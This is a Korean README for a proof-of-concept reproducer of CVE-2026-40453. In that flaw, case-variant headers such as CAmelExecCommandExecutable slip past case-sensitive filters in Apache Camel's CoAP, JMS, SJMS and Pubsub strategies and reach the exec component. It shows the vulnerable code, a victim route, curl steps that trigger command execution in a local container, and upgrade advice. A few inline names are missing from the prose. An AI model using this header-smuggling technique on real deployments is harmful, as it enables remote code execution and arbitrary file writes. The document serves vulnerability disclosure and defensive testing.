
# CVE-2026-40453 재현기: Apache Camel 대소문자 변형 Camel 헤더 주입(CVE-2025-27636의 불완전한 수정)
이 프로젝트는 CVE-2026-40453 — CVE-2025-27636에 대한 불완전한 수정 — 을 시연합니다. 2025년 수정에서
HttpHeaderFilterStrategy에 setLowerCase(true)를 추가하여 대소문자 변형 헤더 이름(예:
CAmelExecCommandExecutable)이 표준 CamelExecCommandExecutable과 함께 필터링되도록 했습니다.
동일한 호출이 5개의 비HTTP HeaderFilterStrategy 구현체(camel-jms, camel-sjms, camel-coap,
camel-google-pubsub)에는 적용되지 않았으며, 이들은 대소문자를 구분하여 필터링하는 반면
Camel Exchange는 헤더를 대소문자를 구분하지 않는 맵에 저장합니다. 따라서 공격자는 필터를 우회하지만
다운스트림 컴포넌트(, , ...)에서 표준 이름으로 여전히 해석되는 대소문자 변형
제어 헤더를 주입할 수 있으며, 이로 인해 / 임의 파일 쓰기가 발생합니다.
camel-execcamel-fileCamel*이 재현기는 camel-coap(자체 포함, 외부 브로커 불필요)으로 우회를 시연합니다. 동일한 결함이 JMS/SJMS/Google-Pubsub 전략에도 영향을 미칩니다.
| 속성 | 값 |
|---|---|
| 구성 요소 | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (이 PoC는 camel-coap 사용) |
| 영향받는 클래스 | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| 근본 원인 | 대소문자를 구분하는 startsWith("Camel"/"camel") 필터링(setLowerCase(true) 누락) vs 대소문자를 구분하지 않는 Exchange 헤더 맵 |
| CWE | CWE-20 (부적절한 입력 검증) — 메시지 헤더 인젝션 |
| 영향 | 헤더 기반 프로듀서를 통한 RCE / 임의 파일 쓰기 |
| 영향받는 버전 | 3.0.0부터 4.14.6 미만, 4.15.0부터 4.18.2 미만, 4.19.0부터 4.20.0 미만 |
| 수정 버전 | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (CVE-2025-27636 수정을 완료) |
| 보고자 | Saroj Khadka |
CoAPHeaderFilterStrategy(영향받는 버전)는 Camel*을 대소문자를 구분하여 필터링합니다:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
CoAP 요청이 도착하면 CamelCoapResource.handleRequest()는 strategy.applyFilterToExternalHeaders(name, value, exchange)에 의해
게이트되는 각 URI-쿼리 파라미터를 Exchange In 헤더로 매핑합니다:
CamelExecCommandExecutable — startsWith("Camel")이 true → 필터링됨.CAmelExecCommandExecutable — startsWith("Camel")이 false(CAm ≠ Cam) → 필터링되지 않음.Exchange 헤더 맵은 대소문자를 구분하지 않으므로, 대소문자 변형 헤더는 나중에 exec 프로듀서에서
표준 이름 CamelExecCommandExecutable로 해석되어 명령을 덮어씁니다.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# CamelExecCommandExecutable / CamelExecCommandArgs 주입
# -> /tmp/pwned-canonical 생성: false (필터가 표준 Camel* 헤더를 제거함)
curl http://localhost:8080/exploit/attack
# CAmelExecCommandExecutable / CAmelExecCommandArgs 주입 (대문자 A)
# -> /tmp/pwned 생성: true (대소문자 변형이 대소문자 구분 필터를 우회함)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
4.14.6 / 4.18.2 / 4.20.0으로 업그레이드하세요. 수정(CAMEL-23313)은 5개의 비HTTP
HeaderFilterStrategy 구현체에 setLowerCase(true)를 추가하여 대소문자 변형 Camel* 이름도
필터링되도록 합니다.
업그레이드할 때까지:
setLowerCase(true)가 포함된 사용자 정의 HeaderFilterStrategy 또는 대소문자 구분 없는 패턴의 removeHeaders 사용.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
이 재현기는 보안 연구 및 승인된 테스트 전용으로, 공개적으로 공개되었고 수정된 취약점에 대해 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.